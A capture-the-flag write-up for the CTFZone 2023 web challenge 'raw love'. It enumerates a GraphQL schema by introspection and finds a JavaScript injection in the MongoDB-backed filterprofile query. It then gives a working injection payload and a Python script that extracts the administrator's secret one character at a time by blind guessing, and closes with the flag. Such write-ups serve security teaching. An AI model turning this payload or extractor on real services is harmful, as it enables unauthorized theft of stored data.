#### Code inspection

Here's the most important code of our challenge.

`/static/js/FillForm.jsx`  
```js  
const response = await axios.post('/api', {  
query: `  
mutation ($description: String, $contact: String) {  
fill_form(description: $description, contact: $contact) {  
status  
}  
}  
`,  
variables: { description, contact }  
},{  
headers: {  
Authorization: `Bearer ${token}`  
},  
});  
```

Since we have found GraphQL endpoint, let's take a look at its schema.

```bash  
curl -X POST -d '{  
"query": "{__schema{types{name,fields{name}}}}"  
}' \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer [REDACTED]" \  
https://raw-love.ctfz.one/api/  
```

```json  
{  
"name": "Query",  
"fields": [  
{  
"name": "profile"  
},  
{  
"name": "filterprofile"  
},  
{  
"name": "like"  
},  
{  
"name": "myprofile"  
}  
]  
}  
```

What is `filterprofile` query? It is not used inside sources. Let's get its
arguments.

```bash  
curl -X POST -d '{  
"query": "fragment FullType on __Type { kind name description
fields(includeDeprecated: true) { name description args { ...InputValue } type
{ ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue }
interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name
description isDeprecated deprecationReason } possibleTypes { ...TypeRef
}}fragment InputValue on __InputValue { name description type { ...TypeRef }
defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType
{ kind name ofType { kind name ofType { kind name ofType { kind name ofType {
kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema
{ queryType { name } mutationType { name } types { ...FullType } directives {
name description locations args { ...InputValue } } }}"  
}' \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer [REDACTED]" \  
https://raw-love.ctfz.one/api/  
```

```json  
{  
"name": "filterprofile",  
"description": null,  
"args": [  
{  
"name": "description",  
"description": null,  
"type": {  
"kind": "SCALAR",  
"name": "String",  
"ofType": null  
},  
"defaultValue": null  
}  
],  
"type": {  
"kind": "LIST",  
"name": null,  
"ofType": {  
"kind": "OBJECT",  
"name": "Profile",  
"ofType": null  
}  
},  
"isDeprecated": false,  
"deprecationReason": null  
}  
```

Let's test this request with the `description` argument equal to the
administrator's description.

```bash  
curl -X POST -d '{"query":"query {
filterprofile(description:\"Administrator\") { username } }"}' \  
-H "Content-Type: application/json" \  
-H "Authorization: Bearer [REDACTED]" \  
https://raw-love.ctfz.one/api/  
```

```json  
{  
"data": {  
"filterprofile": [  
{  
"user": "Admin"  
}  
]  
}  
}  
```

So it returns users by their description. Let's try passing the character `'`.

```json  
{  
"data": {  
"filterprofile": null  
}  
}  
```

We found the injection! The server appears to be using MongoDB, so we need a
payload that looks something like this:  
```js  
;return (this.secret.substr(0, 8) == 'ctfzone{'; var _ = '  
```

#### Solver code  
```py  
import requests

charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"  
flag ="ctfzone{"  
while True:  
for char in charset:  
temp_flag = flag + char  
print(f'trying {temp_flag}')  
data = requests.post("https://raw-love.ctfz.one/api/", json={  
"query": """  
query {  
filterprofile(description:\"%s\") {  
username  
description  
contact  
id  
photo  
}  
}  
""" % f"Administrator'; return (this.secret.substr(0, {len(temp_flag)}) ==
'{temp_flag}'); var abcds='1"  
}, headers={  
"Authorization": "Bearer [REDACTED]",  
"Content-Type": "application/json",  
})  
  
if '"username":"Admin",' in data.text:  
flag = flag + char  
print(flag)  
```

#### Flag  
`ctfzone{rM7_E_EFBBxkkli4Tk9a}`

Original writeup (https://cr3.mov/posts/ctfzone23-web-raw-love/).